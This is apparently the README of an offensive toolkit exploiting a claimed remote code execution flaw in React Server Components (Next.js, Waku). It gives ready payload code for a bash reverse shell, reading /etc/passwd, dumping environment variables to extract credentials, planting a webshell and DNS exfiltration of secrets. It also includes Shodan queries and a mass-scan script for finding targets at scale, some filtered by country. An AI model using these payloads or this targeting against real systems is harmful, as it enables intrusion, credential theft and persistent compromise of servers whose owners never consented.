
Advanced RCE exploitation toolkit for React Server Components vulnerabilities. Features multiple pre-built payloads, Shodan integration for target discovery, and mass scanning for authorized penetration testing.
Advanced exploitation toolkit for React Server Components Remote Code Execution vulnerabilities
For authorized penetration testing and security research only
Features • Installation • Usage • Shodan Integration • Examples • Disclaimer
This toolkit exploits a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) implementations, specifically targeting:
The vulnerability leverages prototype pollution and unsafe deserialization in RSC's data handling mechanism to achieve arbitrary code execution on the server.
React Server Components use a custom serialization format to transfer data between client and server. The vulnerability exists in how these frameworks deserialize and process specially crafted payloads.
Attack Chain:
$X:constructor:constructor to access Function constructor_prefix fieldAttacker → Malicious RSC Payload → Target Server
↓
Unsafe Deserialization
↓
Prototype Chain Access
↓
Function Constructor
↓
⚠️ RCE ACHIEVED ⚠️
| Payload | Description | Use Case |
|---|---|---|
console | Basic PoC (console.log) | Verify vulnerability |
reverseShell | Bash reverse shell | Initial access |
readFile | Read /etc/passwd | Filesystem access |
envDump | Dump environment variables | Credential extraction |
execCommand | Execute system commands | Arbitrary command execution |
webshell | Deploy Express webshell | Persistent access |
exfilPackage | Exfiltrate package.json | Dependency analysis |
dnsExfil | DNS exfiltration (OOB) | Blind exploitation |
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# or
yarn install
# Install Shodan CLI
pip install shodan
# Initialize with your API key
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# Start listener
nc -lvnp 4444
# Execute exploit
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
| Option | Description | Required |
|---|---|---|
--target <url> | Target URL | ✅ |
--framework <name> | Framework: next or waku | ❌ (default: next) |
--payload <name> | Payload name (see below) | ✅* |
--custom <code> | Custom JavaScript code | ✅* |
--lhost <ip> | Your IP (for reverse shell) | ❌ |
--lport <port> | Your port (for reverse shell) | ❌ |
--command <cmd> | Command to execute | ❌ |
--endpoint <path> | Custom RSC endpoint (Waku) | ❌ |
--action-id <id> | Custom next-action ID | ❌ |
--list | List available payloads | ❌ |
--verbose | Verbose output | ❌ |
--help | Show help | ❌ |
*Either --payload or --custom is required
View all payloads:
node rsc-rce-exploit.js --list
Output:
📋 Available payloads:
console - Basic PoC - Console output
Code: console.log(7*7+1)
reverseShell - Reverse shell (bash)
Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - Read /etc/passwd
Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - Dump environment variables
Code: console.log(JSON.stringify(process.env,null,2))
execCommand - Execute system command
Code: console.log(require('child_process').execSync('COMMAND').toString())
webshell - Write webshell to /tmp
Code: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - Read package.json
Code: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS exfiltration
Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
Execute any JavaScript code:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Basic Next.js
http.component:"Next.js"
# Next.js with RSC
http.html:"__next" http.html:"RSC"
# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"
# Self-hosted Next.js (not on Vercel)
http.component:"Next.js" -org:"Vercel"
# Geographically targeted (France)
http.component:"Next.js" country:FR
# Ultimate combo for pentesting
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# Waku framework
http.html:"waku" http.html:"RSC"
# Waku RSC endpoints
http.path:"/RSC/"
Use the provided automation script:
# Scan and test automatically
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100